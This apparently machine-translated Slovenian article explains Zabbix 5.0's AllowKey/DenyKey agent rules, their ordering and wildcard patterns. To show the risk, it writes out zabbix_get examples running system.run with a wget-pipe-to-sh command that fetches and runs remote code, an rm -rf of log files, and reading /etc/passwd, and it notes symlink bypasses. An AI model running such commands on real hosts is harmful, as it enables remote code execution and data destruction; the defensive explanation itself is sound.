Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Podpora za črni in beli seznam za meritve na strani agenta

Tihon Uskov, integracijski inženir, Zabbix

Težave z varnostjo podatkov

Zabbix 5.0 ima novo funkcijo, ki vam omogoča izboljšanje varnosti v sistemih z uporabo Zabbix Agenta in nadomešča stari parameter Omogoči oddaljene ukaze.

Izboljšave v varnosti sistemov, ki temeljijo na agentih, izhajajo iz dejstva, da lahko agent izvede veliko število potencialno nevarnih dejanj.

  • Agent lahko zbira skoraj vse informacije, vključno z zaupnimi ali potencialno nevarnimi informacijami, iz konfiguracijskih datotek, dnevniških datotek, datotek z gesli ali drugih datotek.

Na primer, s pripomočkom zabbix_get lahko dostopate do seznama uporabnikov, njihovih domačih imenikov, datotek z gesli itd.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Dostop do podatkov s pripomočkom zabbix_get

OPOMBA. Podatke je mogoče pridobiti le, če ima agent dovoljenja za branje ustrezne datoteke. Ampak, na primer, datoteka /etc/passwd/ berljivo vsem uporabnikom.

  • Agent lahko izvaja tudi potencialno nevarne ukaze. Na primer tipka *system.run[]** vam omogoča izvajanje vseh oddaljenih ukazov na omrežnih vozliščih, vključno z izvajanjem skriptov iz spletnega vmesnika Zabbix, ki izvajajo tudi ukaze na strani agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • V Linuxu se agent privzeto izvaja brez korenskih pravic, v sistemu Windows pa deluje kot storitev kot System in ima neomejen dostop do datotečnega sistema. V skladu s tem, če se po namestitvi ne spremenijo parametri agenta Zabbix, ima agent dostop do registra, datotečnega sistema in lahko izvaja poizvedbe WMI.

V prejšnjih različicah parameter EnableRemoteCommands=0 dovoljeno samo onemogočanje meritev s ključem *system.run[]** in izvajanje skriptov iz spletnega vmesnika, vendar ni bilo mogoče omejiti dostopa do posameznih datotek, dovoliti ali onemogočiti posameznih ključev, ki so bili nameščeni s agentom, ali omejiti uporabe posameznih parametrov.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Uporaba parametra EnableRemoteCommand v starejših različicah Zabbixa

AllowKey/DenyKey

Zabbix 5.0 pomaga zaščititi pred takim nepooblaščenim dostopom z zagotavljanjem belih in črnih seznamov za dovoljevanje in zavračanje metrik na strani agenta.

V Zabbix 5.0 vsi ključi, vključno z *system.run[]** sta omogočeni in dodani sta bili dve novi možnosti konfiguracije posrednika:

AllowKey= — dovoljeni pregledi;

DenyKey= — prepovedani pregledi;

kjer je vzorec imena ključa s parametri, ki uporablja metaznake (*).

Tipki AllowKey in DenyKey vam omogočata, da dovolite ali zavrnete posamezne meritve na podlagi določenega vzorca. Za razliko od drugih konfiguracijskih parametrov število parametrov AllowKey/DenyKey ni omejeno. To vam omogoča, da jasno definirate, kaj točno lahko agent počne v sistemu z ustvarjanjem drevesa preverjanj – izvedljivih ključev, kjer igra vrstni red, v katerem so zapisani, zelo pomembno vlogo.

Zaporedje pravil

Pravila se preverjajo v vrstnem redu, v katerem so vnesena v konfiguracijsko datoteko. Ključ se preveri v skladu s pravili pred prvo ujemanjem in takoj ko se ključ podatkovnega elementa ujema z vzorcem, se dovoli ali zavrne. Po tem se preverjanje pravil ustavi in ​​preostali ključi so prezrti.

Če se torej element ujema s pravilom dovoljenja in zavrnitve, bo rezultat odvisen od tega, katero pravilo je prvo v konfiguracijski datoteki.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

2 različni pravili z istim vzorcem in ključem vfs.file.size[/tmp/file]

Vrstni red uporabe tipk AllowKey/DenyKey:

  1. natančna pravila,
  2. splošna pravila,
  3. prepovedno pravilo.

Na primer, če potrebujete dostop do datotek v določeni mapi, morate najprej dovoliti dostop do njih in nato zavrniti vse ostalo, kar ne spada v uveljavljena dovoljenja. Če najprej uporabite pravilo zavrnitve, bo dostop do mape zavrnjen.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Pravilno zaporedje

Če morate dovoliti zagon dveh pripomočkov prek *system.run[]** in bo najprej navedeno pravilo za zavrnitev, pripomočki ne bodo zagnani, ker se bo prvi vzorec vedno ujemal s katerim koli ključem, naslednja pravila pa bodo prezrta.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Nepravilno zaporedje

Vzorci

Temeljna pravila

Vzorec je izraz z nadomestnimi znaki. Metaznak (*) se ujema s poljubnim številom poljubnih znakov na določenem mestu. Metaznake je mogoče uporabiti tako v imenu ključa kot v parametrih. Prvi parameter lahko na primer strogo določite z besedilom, in podajte naslednjega kot nadomestni znak.

Parametri morajo biti v oglatih oklepajih [].

  • system.run[* - narobe
  • vfs.file*.txt] - narobe
  • vfs.file.*[*] - prav

Primeri uporabe nadomestnega znaka.

  1. V imenu ključa in v parametru. V tem primeru ključ ne ustreza podobnemu ključu, ki ne vsebuje parametra, saj smo v vzorcu navedli, da želimo prejeti določeno končnico imena ključa in določen nabor parametrov.
  2. Če vzorec ne uporablja oglatih oklepajev, vzorec dovoljuje vse ključe, ki ne vsebujejo parametrov, in zavrača vse ključe, ki vsebujejo podani parameter.
  3. Če je ključ napisan v celoti in so parametri navedeni kot nadomestni znak, se bo ujemal s katerim koli podobnim ključem s poljubnimi parametri in se ne bo ujemal s ključem brez oglatih oklepajev, kar pomeni, da bo dovoljen ali zavrnjen.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Pravila za izpolnjevanje parametrov.

  • Če nameravate uporabiti ključ s parametri, morajo biti parametri podani v konfiguracijski datoteki. Parametri morajo biti podani kot metaznak. Previdno je treba zavrniti dostop do katere koli datoteke in upoštevati, katere informacije lahko metrika zagotovi pod različnimi črkovanji - s parametri in brez njih.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Značilnosti pisanja ključev s parametri

  • Če je ključ podan s parametri, vendar so parametri neobvezni in podani kot metaznak, bo razrešen ključ brez parametrov. Na primer, če želite onemogočiti prejemanje informacij o obremenitvi CPU in določiti, da mora biti ključ system.cpu.load[*] onemogočen, ne pozabite, da bo ključ brez parametrov vrnil povprečno vrednost obremenitve.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Pravila za izpolnjevanje parametrov

Opombe

prilagoditev

  • Nekaterih pravil uporabnik ne more spremeniti, na primer pravil odkrivanja ali pravil samodejne registracije agenta. Pravila AllowKey/DenyKey ne vplivajo na naslednje parametre:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

OPOMBA. Če skrbnik onemogoči ključ, Zabbix ob poizvedbi ne zagotovi informacij o tem, zakaj metrika ali ključ spada v kategorijo 'NE PODPIRA'. Informacije o prepovedih izvajanja oddaljenih ukazov tudi niso prikazane v dnevniških datotekah agenta. To je iz varnostnih razlogov, vendar lahko zaplete odpravljanje napak, če meritve iz nekega razloga sodijo v nepodprto kategorijo.

  • Za povezovanje zunanjih konfiguracijskih datotek (na primer po abecednem vrstnem redu) se ne smete zanašati na noben poseben vrstni red.

Pripomočki ukazne vrstice

Po nastavitvi pravil se morate prepričati, da je vse pravilno konfigurirano.

Uporabite lahko eno od treh možnosti:

  • Dodajte meritev v Zabbix.
  • Preizkusite z zabbix_agentd. Zabbix agent z možnostjo -tisk (-p) prikazuje vse ključe (ki so privzeto dovoljeni), razen tistih, ki jih konfiguracija ne dovoljuje. In z možnostjo -test (-t) za prepovedan ključ se vrne 'Nepodprt ključ predmeta".
  • Preizkusite z zabbix_get. Pripomoček zabbix_get z možnostjo -k se bo vrnil 'ZBX_NOTSUPPORTED: Neznana metrika".

Dovoli ali zavrni

Dostop do datoteke lahko zavrnete in preverite, na primer s pripomočkom zabbix_getda je dostop do datoteke zavrnjen.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

**

OPOMBA. Narekovaji v parametru so prezrti.

V tem primeru se lahko dostop do take datoteke dovoli po drugi poti. Na primer, če do njega vodi simbolna povezava.

Podpora za črni in beli seznam za metrike na strani agenta v Zabbix 5.0

Priporočljivo je preveriti različne možnosti za uporabo navedenih pravil in upoštevati tudi možnosti izogibanja prepovedim.

Vprašanja in odgovori

Vprašanje. Zakaj je bil za opis pravil, dovoljenj in prepovedi izbran tako zapleten vzorec z lastnim jezikom? Zakaj ni bilo mogoče uporabiti na primer regularnih izrazov, ki jih uporablja Zabbix?

Odgovorite. To je težava z delovanjem regularnega izraza, saj je običajno samo en agent in preverja ogromno število meritev. Regex je precej težka operacija in na ta način ne moremo preveriti na tisoče meritev. Nadomestni znaki - univerzalna, široko uporabljena in preprosta rešitev.

Vprašanje. Ali niso vključene datoteke vključene po abecednem vrstnem redu?

Odgovorite. Kolikor vem, je praktično nemogoče predvideti vrstni red, v katerem bodo uporabljena pravila, če pravila razporedite po različnih datotekah. Priporočam, da zberete vsa pravila AllowKey/DenyKey v eno datoteko Include, ker medsebojno delujejo, in vključite to datoteko.

Vprašanje. V Zabbix 5.0 možnost 'EnableRemoteCommands=' manjka v konfiguracijski datoteki in sta na voljo samo AllowKey/DenyKey?

Odgovori. da, tako je.

Спасибо за внимание!

Vir: www.habr.com

Dodaj komentar